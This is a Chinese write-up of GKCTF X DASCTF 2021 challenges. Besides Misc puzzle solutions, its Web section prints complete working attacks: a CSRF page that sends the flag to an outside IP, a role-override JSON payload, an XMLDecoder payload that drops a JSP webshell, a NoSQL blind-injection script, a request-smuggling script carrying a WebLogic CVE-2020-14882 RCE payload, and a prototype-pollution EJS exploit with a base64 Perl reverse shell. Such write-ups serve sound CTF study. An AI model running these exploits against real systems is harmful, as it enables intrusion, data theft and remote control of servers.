June GKCTF X DASCTF应急挑战杯

Misc

excel 骚操作

使用 Microsoft Excel 打开文件可以发现其实部分单元格中有 1,在新的 Sheet 中使用 =IF(Sheet1!A2=1,1,0) 将其抄一份。

在新的 Sheet 中对长宽都为 35 的区域应用公式,将列宽调为 1.8 并应用如下条件格式规则。

可以发现单元格填充出了如下汉信码。

扫描汉信码可得如下包含 flag 的字符串。

text
1
smsto:13511100000:flag{9ee0cb62-f443-4a72-e9a3-43c0b910757e}
1
flag{9ee0cb62-f443-4a72-e9a3-43c0b910757e}

签到

跟踪 TCP 流一把梭可以看到包含 QER1=cat+%2Ff14g%7Cbase64 的 POST 流量。将响应使用如下 CyberChef Receipt 处理,可以得到关键信息。

text
1
2
3
4
5
6
7
From_Hex('None')
Strip_HTTP_headers()
Gunzip()
From_Hex('None')
From_Base64('A-Za-z0-9+/=',true)
Reverse('Character')
From_Base64('A-Za-z0-9+/=',true)
text
1
2
3
4
5
6
7
8
9
10
11
12
13
CCCCC!!cc))[删除] [删除] 00mmee__GGkkCC44FF__mm11ssiiCCCCCCC0 20:01:13
[回车] [回车] [回车] ffllaagg{{}}WWeell-----------
窗口:*new 52 - Notepad++
时间:2021-03-301:13
[回车]
---------------------------------------------
窗口:*new 52 - Notepad++
时间:2021-03-30 20:###########
--------------------------------------------21-03-30 20:01:08 #
############################

#######################################
# 20

从其中可以得到 flag。

1
flag{Welc0me_GkC4F_m1siCCCCCC!}

你知道apng吗

用 Chrome 查看 apng 动图可以发现有三个二维码,将其转为普通的 GIF 后使用 Photoshop 稍作处理后扫描并将内容拼合即可得到 flag。

1
flag{a3c7e4e5-9b9d-ad20-0327-288a235370ea}

银杏岛の奇妙冒险

解压附件可得一个 Minecraft 存档,在 mods 文件夹中可以发现其使用了名为 CustomNPCs_1.12.2-(05Jul20) 的插件。找到这个插件位于 .minecraft\saves\Where is the flag\customnpcs\quests\主线 的存档 JSON 文件,在每个文件中可以读到 pages 段的内容,从而拼接出 flag。

text
1
2
3
4
w3lc0me_
t0_9kctf_
2021_
Check_1n
1
GKCTF{w3lc0me_t0_9kctf_2021_Check_1n}

FireFox Forensics

解压附件发现是 Firefox 保存的登录凭据。按照官方的指引替换文件即可将加密的凭据恢复到浏览器中。

https://support.mozilla.org/en-US/kb/recovering-important-data-from-an-old-profile

1
GKCTF{9cf21dda-34be-4f6c-a629-9c4647981ad7}

0.03

使用 WinRAR 解压附件后使用 NTFS Streams 分离文件流。

可以得到如下内容,配合解压得到的 secret.txt 可以解三分密码。

text
1
2
3
4
QAZ WSX EDC
RFV TGB YHN
UJM IKO LP/
311223313313112122312312313311

解出三分密码后可以得到如下信息。

text
1
EBCCAFDDCE

使用上述信息作为密码挂载 Vera Crypt 隐藏磁盘可得 flag 文件。

1
flag{85ec0e23-ebbe-4fa7-9c8c-e8b743d0d85c}

Web

easycms

后台密码5位弱口令

根据 hint 可使用 admin/12345 作为账号密码登录 /admin.php 的管理后台。后台的自定义主题处存在一个任意文件下载,因此可以直接构造出如下链接下载到 flag。

text
1
http://b3a42f69-75d9-4871-a822-4f748b7879fe.node4.buuoj.cn/admin.php?m=ui&f=downloadtheme&theme=L2ZsYWc=

L2ZsYWc=/flag Base64 Encode 一次的内容。

1
flag{56d0914c-08c5-4af6-92b2-e31d2f947d5d}

分析

根据后台版本号下载一份 V7.7 的 CMS 源码。找到 chanzhieps/system/module/ui/control.php 这个文件下的 downloadtheme 方法。

可以很直接地看到这里直接采用 file_get_contents 将文件读入后推给了下载流而没做任何校验,因此达成了任意文件下载。

CheckBot

让bot访问/admin.php才有flag,但是怎么带出来呢

主页面可以找到如下提示,结合题目的 hint 可以实现一个 CSRF 来访问 admin.php。纯粹使用 XMLHttpRequest 会造成一次跨域请求从而无法成功。因此采用一个 iframe 来代替。构造如下页面,放到自己的服务器上,然后将链接提交给 Bot。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
<script>
window.onload = function(){
/* Prepare flag */
let flag = document.getElementById("flag").contentWindow.document.getElementById("flag").innerHTML;
/* Export flag */
var exportFlag = new XMLHttpRequest();
exportFlag.open('get', 'http://8.136.8.210:3255/flagis-' + window.btoa(flag));
exportFlag.send();
}
</script>
</body>
</html>

在服务端的对应端口开启监听,即可监听到包含 Base64 编码后的 flag 的请求。

1
flag{b441a430-7064-4012-b862-dd8b7d71db91}

babycat

管理员账户获取

登录一次发现传送的是 JSON,同时 /register 路由下可以发现如下 JS 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";

$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}

因此可以得知注册的表单结构,发送 json 载荷注册一个用户。

登录之后在下载测试处可以发现一个目录穿越,构造 file=../../WEB-INF/web.xml 尝试读取出 web.xml。因为上传业务只有管理员可以使用它,因此根据其中的内容构造 ../../WEB-INF/classes/com/web/servlet/registerServlet.class 先看注册的源码。使用 jadx 反编译 class 文件可以看到其源码。

可以很容易找到如下针对参数 role 的处理。

1
2
3
4
5
6
7
8
9
10
11
String var = req.getParameter("data").replaceAll(" ", "").replace("'", "\"");
Matcher matcher = Pattern.compile("\"role\":\"(.*?)\"").matcher(var);
while (matcher.find()) {
role = matcher.group();
}
if (!StringUtils.isNullOrEmpty(role)) {
person = (Person) gson.fromJson(var.replace(role, "\"role\":\"guest\""), Person.class);
} else {
person = (Person) gson.fromJson(var, Person.class);
person.setRole("guest");
}

此时有两种方法去绕过,因为正则表达式包括了 \"role\":\"(.*?)\" 进行完整匹配,而 JSON 中的内联注释不会影响其解析,因此可以使用注释来破坏正则匹配。为了让其不直接走到 setRole,我们仍然需要让正则匹配有结果。JSON 中键值一样的数据解析时后面的会覆盖前面的,因此可以构造如下载荷。

1
{"username":"LemonPrefect","password":"pass","role":"superUserLemonPrefect","role"/**/:"admin"}

可以注意到这里取得的正则匹配结果是最后一个,在可以使用注释的情况下,可以构造如下载荷。

1
{"username":"LemonPrefect","password":"pass","role":"admin"/*,"role":"guest"*/}

发送上述载荷即可得到管理员账户,登录之后可以访问上传业务。

文件上传

此时再来读上传的源码,构造出载荷 file=../../WEB-INF/classes/com/web/servlet/uploadServlet.class 来读取。

1
2
3
4
5
6
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
}
item.write(new File(uploadPath + File.separator + name + ext));
req.setAttribute("error", "upload success!");

可以发现检测拓展名白名单后没有退出,响应后仍然会保存文件,因此可以尝试向 ../../static/ 下写入一句话。使用冰蝎连接即可执行 /readflag 从而获取到 flag。

1
flag{beed2f77-3c76-492a-86b7-a00741f7cddc}

babycat-revenge

1.你知道注释符吗 2.PrintWriter?

原本的上传逻辑已经修复如下。

1
2
3
4
5
6
7
if (checkExt(ext) || checkContent(item.getInputStream())) {
req.setAttribute("error", "upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req, resp);
} else {
item.write(new File(uploadPath + File.separator + name + ext));
req.setAttribute("error", "upload success!");
}

此时再看上传文件白名单,允许上传的文件中有 xml 文件。

1
2
3
4
5
6
private static boolean checkExt(String ext) {
if (!Arrays.asList("jpg", "png", "gif", "bak", "properties", "xml", "html", "xhtml", "zip", "gz", "tar", "txt").contains(ext.toLowerCase())) {
return true;
}
return false;
}

可以发现注册业务中导入了 com.web.dao.baseDao,在其源码中用到了方法 XMLDecoder

1
2
3
4
5
6
7
8
9
10
public static void getConfig() throws FileNotFoundException {
HashMap map;
Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME") + "/webapps/ROOT/WEB-INF/db/db.xml")).readObject();
if ((obj instanceof HashMap) && (map = (HashMap) obj) != null && map.get("url") != null) {
driver = (String) map.get("driver");
url = (String) map.get("url");
username = (String) map.get("username");
password = (String) map.get("password");
}
}

其中 System.getenv("CATALINA_HOME") 可以使用前面的文件包含读取 /proc/self/environ 得到为 /usr/local/tomcat。因此可以尝试将 db.xml 覆盖为恶意代码后使用注册业务触发 XMLDecoder 反序列化。上传业务中还对上传的内容执行了检测。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private static boolean checkContent(InputStream item) throws IOException {
String[] blackList;
boolean flag = false;
BufferedReader bf = new BufferedReader(new InputStreamReader(item));
StringBuilder sb = new StringBuilder();
while (true) {
String line = bf.readLine();
if (line == null) {
break;
}
sb.append(line);
}
String content = sb.toString();
for (String str : new String[]{"Runtime", "exec", "ProcessBuilder", "jdbc", "autoCommit"}) {
if (content.contains(str)) {
flag = true;
}
}
return flag;
}
}

此时考虑使用 hint 中提到的 PrintWriter 去写入冰蝎的一句话,构造出如下载荷上传。

1
2
3
4
5
6
7
8
9
10
<?xml version="1.0" encoding="utf-8"?>
<java class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string>
<void method="println">
<string><![CDATA[冰蝎的载荷]]></string>
</void>
<void method="close"/>
</object>
</java>

1
flag{2dea8c2c-fd37-4f34-81a8-a1ee48f49039}

hackme

SQL 注入读取文件

在页面源码中可以找到如下提示。

1
<!--doyounosql?-->

因此使用脚本进行 NoSQL 盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import string
import requests

characters = string.ascii_letters + string.digits # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25717/login.php"

for i in range(50):
for character in characters:
response = requests.post(url=url, data=(payload % (password + character)),
headers={"Content-Type": "application/json; charset=UTF-8"})
responseContent = response.content.decode()
print(f"[+] Trying {character} with response {responseContent}")
response.close()
if "登录了" in responseContent:
password += character
print(f"[*] Found new character {character} with password now which is {password}")
break

可以得出用户 admin 的密码为 42276606202db06ad1f29ab6b4a1307f。登录之后可以传入文件路径读取文件,尝试读取出 /flag 可以得到如下信息。

text
1
string(5) "/flag" flag is in the Intranet

读取 /proc/self/environ,可以得到如下信息。

text
1
string(18) "/proc/self/environ" USER=nginxPWD=/usr/local/nginx/htmlSHLVL=1HOME=/home/nginx_=/usr/bin/php

读取 nginx 的配置文件可以得到如下内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
worker_processes  1;

events {
worker_connections 1024;
}


http {
include mime.types;
default_type application/octet-stream;

sendfile on;
#tcp_nopush on;

#keepalive_timeout 0;
keepalive_timeout 65;

server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ \.php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}

}

resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;


# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
}

可以发现确实在内网有 host 为 weblogic 的服务,但是没有提供可 SSRF 的位置。可以发现服务端使用的 Nginx 版本为 1.17.6,而 Ngnix < 1.17.7 存在请求走私的漏洞,因此进行尝试。

请求走私

使用如下载荷走私到 WebLogic Console 的登录页面。

1
2
3
4
5
6
7
8
9
GET /undefined HTTP/1.1
Host: node4.buuoj.cn:28946
Content-Length: 0
Transfer-Encoding: chunked

GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic


在响应中可以看到如下信息。

text
1
WebLogic Server Version: 12.2.1.4.0

这个版本正好在 CVE-2020-14882 的范围内,除此之外尝试用 CVE-2021-2109 去攻击但没有成功,步骤停在了 redirecting。写出如下脚本来进行攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import socket

sSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sSocket.connect(("node4.buuoj.cn", 26319))
payload = b'''HEAD / HTTP/1.1\r\nHost: node4.buuoj.cn\r\n\r\nGET /console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt(); HTTP/1.1\r\nHost:weblogic\r\ncmd: /readflag\r\n\r\n'''
sSocket.send(payload)
sSocket.settimeout(2)
response = sSocket.recv(2147483647)
while len(response) > 0:
print(response.decode())
try:
response = sSocket.recv(2147483647)
except:
break
sSocket.close()

运行脚本后可在响应中找到 flag。

1
flag{ff176972-bf1c-49ff-b7b5-36ef338179a2}

easynode

将附件源码解压,在 app.js 中可以发现如下过滤逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
let safeQuery =  async (username,password)=>{
const waf = (str)=>{
blacklist = ['\\','\^',')','(','\"','\'']
blacklist.forEach(element => {
if (str == element){
str = "*";
}
});
return str;
}
const safeStr = (str)=>{ for(let i = 0;i < str.length;i++){
if (waf(str[i]) =="*"){
str = str.slice(0, i) + "*" + str.slice(i + 1, str.length);
}
}
return str;
}

username = safeStr(username);
password = safeStr(password);
let sql = format("select * from test where username = '{}' and password = '{}'",username.substr(0,20),password.substr(0,20));
result = JSON.parse(JSON.stringify(await select(sql)));
return result;
}

waf 方法里对几个字符进行了枚举比对,然后 safeStr 将被过滤的字符两端连接起来。此时,如果 str 是数组,且有一个元素为 *,就能将数组连接成字符串。因此 waf 方法的枚举过滤可以用足够长的数组来绕过,经过测试可以发现 safeQuery(["admin'#",1,2,1,2,"^"],"123") 即可达成目的。将其转换为请求参数即可得到 admin 的 token。

在源码中可发现一个 test.js,其中测试了一个 ejs 的模板注入 RCE,在 /admin 路由下可找到对 board 的取用和渲染。而 board 是在 /adminDIV 路由下被存入的。

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce/

1
2
3
4
5
6
7
8
9
10
11
for(var key in data){
var addDIV =`{"${username}":{"${key}":"${(data[key])}"}}`;
// __proto__:{
// outputFunctionName: {
// data[key]: evilCode
// }
// }
extend({},JSON.parse(addDIV));
const html = await ejs.renderFile(__dirname + "/public/admin.ejs",{addDIV,username})
}
sql = `update board SET board = '${JSON.stringify(board)}' where username = '${username}'`

此时可以发现,假如 username 是 __proto__,那么此时导入的属性即可成功污染到 __proto__.outputFunctionName,从而触发模板注入的 RCE。因此首先要使用 /addAdmin 添加一个用户名为 __proto__ 的用户,然后登录这个用户。再使用 /adminDIV 路由更改数据库中的 board,此时只需要传入参数名为 data 的一串恶意载荷即可,构造出如下脚本进行攻击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import json
import httpx as requests

session = requests.Client()
URL = "http://29cc0540-0d12-42f1-92c0-7f4e9694f50e.node4.buuoj.cn"

response = session.post(f"{URL}/login", data={
"username[0]": "admin'#",
"username[1]": "1",
"username[2]": "2",
"username[3]": "1",
"username[4]": "2",
"username[5]": "^",
"password": "lemonPass"
})
token = json.loads(response.content.decode())["token"]
print(f"[+] queried cookie token {token}")
session.cookies.set("token", token)
print(f"[+] Cookie set {session.cookies}")

response = session.post(f"{URL}/addAdmin", data={
"username": "__proto__",
"password": "lemonPass"
})
print(f"[+] AddAdmin response is \"{response.content.decode()}\"")

response = session.post(f"{URL}/login", data={
"username": "__proto__",
"password": "lemonPass"
})
token = json.loads(response.content.decode())["token"]
print(f"[+] queried __proto__ cookie token {token}")
session.cookies.delete("token")
session.cookies.set("token", token)
print(f"[+] Cookie set {session.cookies}")

response = session.post(f"{URL}/adminDIV", data={
"data": '''{"outputFunctionName":"x;process.mainModule.require('child_process').exec('echo cGVybCAtZSAndXNlIFNvY2tldDskaT0iOC4xMzYuOC4yMTAiOyRwPTMyNTU7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jw==|base64 -d|bash');x"}'''
})
print(f"[+] Inject evil code response is \"{response.content.decode()}\"")

response = session.get(f"{URL}/admin")
if response.status_code == 200:
print(f"[*] Triggered reverse shell")

1
flag{864760b9-8f84-4389-b904-38a1975af1f2}